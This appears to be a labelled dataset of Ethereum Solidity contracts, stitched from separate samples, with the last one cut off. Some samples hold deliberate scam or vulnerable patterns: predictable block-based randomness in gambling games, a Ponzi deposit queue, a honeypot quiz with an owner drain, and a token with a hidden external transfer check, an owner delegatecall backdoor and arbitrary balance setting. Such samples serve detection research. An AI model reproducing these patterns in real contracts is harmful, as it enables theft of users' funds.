_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,792 |
pragma solidity ^0.4.24;
contract raketavipprofit{
address constant private PROMO = 0xA93c13B3E3561e5e2A1a20239486D03A16d1Fc4b;
uint constant public MULTIPLIER = 110;
uint constant public MAX_DEPOSIT = 1 ether;
uint public currentReceiverIndex = 0;
uint public MIN_DEPOSIT = 0.01 ether;
uint public txnCount = 0;
uint private PROMO_PERCENT = 10;
uint private prir = 0;
uint constant public LAST_DEPOSIT_PERCENT = 20;
LastDeposit public last;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct LastDeposit {
address depositor;
uint expect;
uint blockNumber;
}
Deposit[] private queue;
function () private payable {
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.blockNumber + 44 < block.number, "Last depositor should wait 44 blocks (~10 minutes) to claim reward");
uint128 money = uint128((address(this).balance));
if(money >= last.expect){
last.depositor.transfer(last.expect);
} else {
last.depositor.transfer(money);
}
delete last;
}
else if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_DEPOSIT && msg.value >= MIN_DEPOSIT);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
last.depositor = msg.sender;
last.expect += msg.value*LAST_DEPOSIT_PERCENT/100;
last.blockNumber = block.number;
txnCount += 1;
if(txnCount >= 400) {
MIN_DEPOSIT = 0.03 ether;
} else if(txnCount >= 200) {
MIN_DEPOSIT = 0.02 ether;
} else {
MIN_DEPOSIT = 0.01 ether;
}
uint promo = msg.value*(PROMO_PERCENT+prir)/100;
uint128 contractBalance = uint128((address(this).balance));
if(contractBalance >= promo){
PROMO.transfer(promo);
} else {
PROMO.transfer(contractBalance);
}
if((PROMO_PERCENT+prir) < 50){
prir = (prir+5)/100;
}
pay();
}
}
function pay() private {
uint128 moneyCoefficient = uint128((address(this).balance)/last.expect);
uint128 money = uint128((address(this).balance)-last.expect);
if(moneyCoefficient < 1) {
return;
}
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) private view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
} | 1 | 3,050 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Mainsale {
using SafeMath for uint256;
address public owner;
address public multisig;
uint256 public endTimestamp;
uint256 public totalRaised;
uint256 public constant hardCap = 19333 ether;
uint256 public constant MIN_CONTRIBUTION = 0.1 ether;
uint256 public constant MAX_CONTRIBUTION = 1000 ether;
uint256 public constant THIRTY_DAYS = 60 * 60 * 24 * 30;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier belowCap() {
require(totalRaised < hardCap);
_;
}
modifier withinTimeLimit() {
require(block.timestamp <= endTimestamp);
_;
}
function Mainsale(address _multisig, uint256 _endTimestamp) {
require (_multisig != 0 && _endTimestamp >= (block.timestamp + THIRTY_DAYS));
owner = msg.sender;
multisig = _multisig;
endTimestamp = _endTimestamp;
}
function() payable belowCap withinTimeLimit {
require(msg.value >= MIN_CONTRIBUTION && msg.value <= MAX_CONTRIBUTION);
totalRaised = totalRaised.add(msg.value);
uint contribution = msg.value;
if (totalRaised > hardCap) {
uint refundAmount = totalRaised.sub(hardCap);
msg.sender.transfer(refundAmount);
contribution = contribution.sub(refundAmount);
refundAmount = 0;
totalRaised = hardCap;
}
multisig.transfer(contribution);
}
function withdrawStuck() onlyOwner {
multisig.transfer(this.balance);
}
} | 1 | 4,541 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 200000000000000000000000000;
string public name = "Oxygen Ecosystem Token";
string public symbol = "OXY";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,861 |
pragma solidity ^0.4.20;
contract GO_GO_GO
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function set_game(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | 1 | 2,659 |
pragma solidity ^0.4.25;
contract Line {
address private owner;
uint constant public jackpotNumerator = 50;
uint constant public winNumerator = 5;
uint constant public giftNumerator = 1;
uint constant public denominator = 100;
uint constant public ownerDenominator = 100;
uint public jackpot = 0;
address[] internal addresses;
mapping(address => SpinRec) internal spinsByAddr;
mapping(bytes32 => SpinRec) internal spinsByQuery;
struct SpinRec {
uint id;
bytes32 queryId;
uint bet;
uint token;
}
event Jackpot(uint line, address addr, uint date, uint prize, uint left);
event Win(uint line, address addr, uint date, uint prize, uint left);
event Gift(uint line, address addr, uint date, uint prize, uint left);
event Spin(address addr, uint bet, uint jackpot, bytes32 queryId);
event Reveal(uint line, address addr, uint bet, bytes32 queryId);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function getQueryId() constant public returns (uint256) {
return uint256(spinsByAddr[msg.sender].queryId);
}
function getTokenFor(uint256 queryId) constant public returns (uint) {
return spinsByQuery[bytes32(queryId)].token;
}
function getToken() constant public returns (uint) {
return spinsByAddr[msg.sender].token;
}
function getQueryIdBytes() constant public returns (bytes32) {
return spinsByAddr[msg.sender].queryId;
}
function getTokenForBytes(bytes32 queryId) constant public returns (uint) {
return spinsByQuery[queryId].token;
}
function revealResult(uint token, bytes32 queryId) internal {
SpinRec storage spin = spinsByQuery[queryId];
require(spin.id != 0);
spin.token = token;
address player = addresses[spin.id];
spinsByAddr[player].token = token;
emit Reveal(token, player, spin.bet, queryId);
uint prizeNumerator = 0;
if (token == 444) {
prizeNumerator = jackpotNumerator;
} else if (token == 333 || token == 222 || token == 111) {
prizeNumerator = winNumerator;
} else if (token%10 == 4 || token/10%10 == 4 || token/100%10 == 4) {
prizeNumerator = giftNumerator;
}
uint balance = address(this).balance;
uint prize = 0;
if (prizeNumerator > 0) {
prize = balance / 100 * prizeNumerator;
if (player.send(prize)) {
if (prizeNumerator == jackpotNumerator) {
emit Jackpot(token, player, now, prize, balance);
} else if (prizeNumerator == winNumerator) {
emit Win(token, player, now, prize, balance);
} else {
emit Gift(token, player, now, prize, balance);
}
owner.transfer(spin.bet / ownerDenominator);
}
}
}
function recordSpin(bytes32 queryId) internal {
SpinRec storage spin = spinsByAddr[msg.sender];
if (spin.id == 0) {
msg.sender.transfer(0 wei);
spin.id = addresses.length;
addresses.push(msg.sender);
}
spin.bet = msg.value;
spin.queryId = queryId;
spinsByQuery[queryId] = spin;
}
constructor() public {
delete addresses;
addresses.length = 1;
owner = msg.sender;
}
function waiver() private {
delete owner;
}
function reset() onlyOwner public {
owner.transfer(address(this).balance);
}
uint nonce;
function random() internal returns (uint) {
bytes32 output = keccak256(abi.encodePacked(now, msg.sender, nonce));
uint rand = uint256(output) % 1024;
nonce++;
return rand;
}
function() payable public {
require(msg.value > 10);
jackpot += msg.value;
uint rand = random();
bytes32 queryId = bytes32(nonce);
recordSpin(queryId);
emit Spin(msg.sender, msg.value, jackpot, queryId);
revealResult(rand%345+100, queryId);
}
} | 1 | 5,111 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
